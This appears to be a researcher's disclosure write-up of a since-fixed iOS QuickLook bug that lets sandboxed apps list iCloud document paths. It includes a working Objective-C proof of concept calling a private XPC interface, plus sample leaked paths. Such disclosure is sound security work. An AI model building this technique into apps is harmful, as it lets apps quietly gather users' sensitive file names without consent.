Nicolas Seriot

Security > Apple QuickLook Exposes iCloud Document Paths

Apple QuickLook Exposes iCloud Document Paths

2026-10-27

Affected System

QuickLookThumbnailing.framework

Tested on iOS 27.0, fixed in iOS 27.2 and macOS 27.2.

Summary

A sandboxed iOS app with no special entitlement can ask QuickLook's thumbnail daemon for its "additions index" and receive full paths to documents in the user's iCloud containers, including other apps' containers.

One run on the test device returned 72 paths, each with a document ID, volume UUID, size, and timestamp.

The app cannot open those files. Their names and folder structure are still sensitive.

The Bug

QuickLook's thumbnail service listens on the Mach port com.apple.quicklook.ThumbnailsAgent. Its XPC interface exposes:

// on the agent
- (void)askThumbnailAdditionIndex:(void (^)(id index))reply;

// on the object that comes back
- (void)retrieveAllAdditions:(void (^)(NSArray *entries))reply;

retrieveAllAdditions: returns entries with fields such as lastSeenURL, documentID, size, lastHitDate, and vol_uuid. On the test device, the paths covered the iCloud Drive root, its Downloads/ folder, and com~apple~TextEdit/Documents/. QuickLook only lists documents it has indexed, such as files previewed earlier.

Proof of Concept

Two XPC method calls that you can run on device in an app signed with an ordinary Apple Distribution certificate, with no private entitlement or sandbox exception and get-task-allow = 0.

#import <Foundation/Foundation.h>
#include <dlfcn.h>

@protocol QLAgent <NSObject>
- (void)askThumbnailAdditionIndex:(void (^)(id index))reply;
@end
@protocol QLIndex <NSObject>
- (void)retrieveAllAdditions:(void (^)(NSArray *entries))reply;
@end
@protocol QLProxyClass <NSObject>
+ (NSXPCInterface *)interface;
@end
// Private initializer: present on iOS, absent from the public SDK.
@protocol QLMachConn <NSObject>
- (instancetype)initWithMachServiceName:(NSString *)name
                                options:(NSXPCConnectionOptions)options;
@end

static void dump_additions(void) {
    dlopen("/System/Library/Frameworks/QuickLookThumbnailing.framework/"
           "QuickLookThumbnailing", RTLD_NOW);

    Class proxy = NSClassFromString(@"QLThumbnailServiceProxy");
    NSXPCInterface *iface = [(id<QLProxyClass>)proxy interface];

    NSXPCConnection *c = (NSXPCConnection *)
        [(id<QLMachConn>)[NSXPCConnection alloc]
            initWithMachServiceName:@"com.apple.quicklook.ThumbnailsAgent"
                            options:0];
    c.remoteObjectInterface = iface;
    [c resume];

    id<QLAgent> agent = [c remoteObjectProxyWithErrorHandler:^(NSError *e) {
        NSLog(@"xpc error: %@", e);
    }];

    // Fetch the index, then print its paths.
    [agent askThumbnailAdditionIndex:^(id index) {
        [(id<QLIndex>)index retrieveAllAdditions:^(NSArray *entries) {
            NSLog(@"retrieveAllAdditions: %lu entries", (unsigned long)entries.count);
            for (id entry in entries) {
                NSURL *url = [entry valueForKey:@"lastSeenURL"];
                if ([url isKindOfClass:NSURL.class])
                    NSLog(@"  %@", url.path);   // a path this sandbox cannot open
            }
        }];
    }];
}

Sample output from the test device, all paths outside the app's container:

retrieveAllAdditions: 72 entries
  /private/var/mobile/Library/Mobile Documents/com~apple~CloudDocs/Certificat aptitude.pdf
  /private/var/mobile/Library/Mobile Documents/com~apple~CloudDocs/Downloads/36K.gpx
  /private/var/mobile/Library/Mobile Documents/com~apple~TextEdit/Documents/test.rtf
  ...

Security Impact

Information disclosure. Names and folders can reveal medical, financial, identity, employment, and location information. A rogue app can collect this inventory without a prompt or user interaction.

Timeline

Quick Look Impact: An app may be able to access sensitive user data
Description: An authorization issue was addressed with improved state management.